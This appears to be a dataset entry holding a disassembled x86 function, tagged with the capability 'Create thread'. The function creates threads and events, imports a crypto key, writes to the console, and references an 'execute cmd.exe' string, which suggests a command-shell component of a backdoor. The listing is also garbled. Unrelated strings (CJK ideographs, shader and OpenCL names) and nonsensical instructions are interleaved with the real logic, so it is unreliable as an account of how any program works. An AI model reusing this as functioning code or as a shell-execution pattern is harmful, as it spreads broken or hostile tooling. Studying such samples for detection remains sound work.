Function at 0x10014c00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1384
call fcn.100287f0
mov eax, dword [ebp + 0x10]
push ebx
lea edx, [eax - 0xa]
push esi
mov ecx, eax
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0x30], edx
cmp eax, edx
jbe case.0x10014c3c.28
mov ebx, dword [ebp + 0xc]
lea esp, [esp]
lea eax, [ecx - 0x1a]
cmp eax, 0xa
ja case.0x10014c3c.27
jmp dword [eax*4 + 0x10015128]
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], eax
jmp case.0x10014c3c.27
mov dword [ebp - 0x18], 0
jmp case.0x10014c3c.27
mov esi, 0x52
cmp esi, 0x52
je 0x10014c84
cmp esi, 0xcd0
je 0x10014c7c
cmp esi, 0x194e
je case.0x10014c3c.28
jmp 0x10014cd6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
jmp 0x10014cd6
cmp dword [ebx + 0x18], 1
mov eax, dword [ebp + 8]
jne 0x10014ca5
mov edx, dword [ebx + 0xc]
lea ecx, [ebx + 0x10]
push ecx
movzx ecx, word [eax]
push 0
push edx
mov edx, dword [ebx + 4]
push ecx
add eax, 4
push eax
push edx
jmp 0x10014ccd
push eax
push ebx
call fcn.10002030
add esp, 8
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10014cd6
mov eax, dword [ebp + 8]
movzx edx, word [eax]
lea ecx, [ebx + 8]
push ecx
push 0
push 0
push edx
add eax, 4
push eax
mov eax, dword [ebx + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov dword [ebp - 0x10], eax
add esi, 0xc7e
cmp esi, 0x257a
jbe 0x10014c61
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0
push 0
push 0x10007cf0
push 0
push 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.__ready_n
mov dword [ebp - 0x2c], eax
call fcn.10026fc6
add esp, 4
mov edi, dword [ebp - 0x18]
test edi, edi
jne 0x10014d2c
push 0x1003731c
call fcn.10026fc6
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [ebp - 4]
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x13c]
push ecx
mov dword [ebp - 0x38], edx
push 0x4c
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x3c], esi
call fcn.1000afa0
add esp, 0x14
cmp eax, 0xffffffff
je 0x1001503d
cmp eax, esi
jne 0x10014dbc
lea ecx, [ebp - 0xa60]
push ecx
push ebx
push 0xd2
call fcn.10022960
add esp, 0xc
test eax, eax
add byte [ebx - 0x3f7af33c], al
jne case.0x10014c3c.30
mov eax, dword [ebp - 0xa60]
cmp edi, 1
jne 0x10015058
test eax, eax
jne 0x10014d9f
mov dword [ebp - 0x18], eax
jmp 0x10015024
mov ecx, dword [ebp - 0x28]
push 0
lea edx, [ebp + 0x10]
push edx
push eax
lea eax, [ebp - 0xa5c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x10015024
cmp eax, dword [ebp - 0x1c]
jne 0x10015024
test edi, edi
jne 0x10014fe6
mov eax, 0xca
cmp eax, 0xca
je 0x10014f7a
cmp eax, 0x1a0a
jne 0x10014fd4
stosd dword es:[edi], eax
jp 0x10014d78
mov cl, byte [ecx]
mov eax, dword [ebp - 0xa5c]
dec eax
cmp eax, 5
ja case.default.0x10014dfd
jmp dword [eax*4 + 0x10015154]
mov esi, 0x53
lea esp, [esp]
cmp esi, 0x6fdb
ja 0x10014e59
je 0x10014e4a
cmp esi, 0x53
je 0x10014e3b
cmp esi, 0x3817
jne 0x10014e8a
mov bl, 0x5b
mov ebx, 0xf06807a4
jb 0x10014e33
adc al, ch
nop
and dword [ecx], eax
add byte [ebx + 0x4feb04c4], al
push str.bool_all_bvec2_x__
call fcn.10026fc6
add esp, 4
jmp 0x10014e8a
push str.ushort___OVERLOADABLE___convert_ushort_sat_char__
call fcn.10026fc6
add esp, 4
jmp 0x10014e8a
cmp esi, 0xa79f
je 0x10014e73
cmp esi, 0xdf63
jne 0x10014e8a
push str.8_____D_H_L_L_P_T_X_____d_h_l_p_t_x__
jmp 0x10014f64
push str._n__cmd____________________execute_cmd.exe
call fcn.10026fc6
push str.Socket_type_does_not_support_this_API
call fcn.10026fc6
add esp, 8
add esi, 0x37c4
cmp esi, 0x116d4
jbe 0x10014e10
push ebx
push 0x3e
lea edx, [ebp - 0xa60]
push 0
push edx
mov dword [ebp - 0x14], 1
call fcn.10023b10
add esp, 0x10
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
push ebx
push 0x3e
lea eax, [ebp - 0xa60]
push 0
push eax
mov dword [ebp - 0x18], 1
call fcn.10023b10
add esp, 0x10
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
push ebx
push 0x3e
lea ecx, [ebp - 0xa60]
push 0
push ecx
mov dword [ebp - 0x20], 1
call fcn.10023b10
add esp, 0x10
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
push ebx
push 0x1003f90c
push 0x32
call fcn.10013cc0
add esp, 0xc
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
push 0x41
push ebx
push 0x1003f90c
call fcn.10012980
add esp, 0xc
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
push str.CJK_743_IDEOGRAPH_F9D5
call fcn.10026fc6
add esp, 4
mov eax, 0x1a0a
mov dword [ebp - 8], 0x1f
jmp 0x10014fd4
mov dword [ebp - 0xa60], 4
mov dword [ebp - 0xa5c], 0xffffffff
xor edi, edi
mov edx, dword [edi*8 + 0x1003e5b0]
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014fa0
sub eax, esi
push eax
push edx
push 0x1003f90c
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x10014fc2
inc edi
cmp edi, 7
jb 0x10014f90
jmp 0x10014fcf
mov edx, dword [edi*8 + 0x1003e5ac]
mov dword [ebp - 0xa5c], edx
mov eax, 0xca
add eax, 0x1940
cmp eax, 0x3280
jbe 0x10014dd2
jmp 0x10015017
mov eax, dword [0x1003f908]
push eax
mov dword [ebp - 0x1384], eax
lea eax, [ebp - 0x1380]
push 0x1003f90c
push eax
call fcn.10027680
push ebx
push 0x3e
lea ecx, [ebp - 0x1384]
push 0
push ecx
call fcn.10023b10
add esp, 0x1c
mov edx, dword [0x10040150]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [ebp - 0x20], 0
jne case.0x10014c3c.27
cmp dword [ebp - 0x14], 0
je 0x10014d18
jmp case.0x10014c3c.27
push str.SHIFTCTRL
call fcn.10002df0
push 0xffffffffffffffff
push str.__wait_evt___failure_:_returned__08X_n
call fcn.10026fc6
add esp, 0xc
jmp case.0x10014c3c.30
push eax
push str.There_is_no_portable_way_to
call fcn.10026fc6
add esp, 8
push str.SetShaderConst
mov dword [ebp - 8], 0x1e
call fcn.10026fc6
mov ecx, dword [ebp - 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push ecx
call esi
mov edx, dword [0x10040150]
push edx
call esi
jmp case.0x10014c3c.27
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov esi, dword [ebp - 4]
mov dword [0x10040150], eax
mov eax, dword [0x1004014c]
mov dword [ebp + esi*4 - 0x13c], eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [ebp + esi*4 - 0x13c], eax
inc esi
mov dword [ebp - 4], esi
jmp case.0x10014c3c.27
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + ecx*4 - 0x13c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
jmp case.0x10014c3c.27
adc dh, byte [ebp - 0x3fcce176]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
jmp case.0x10014c3c.27
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x1004014c], eax
mov ecx, dword [ebp - 8]
dec ecx
mov dword [ebp - 8], ecx
cmp ecx, dword [ebp - 0x30]
ja 0x10014c30
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret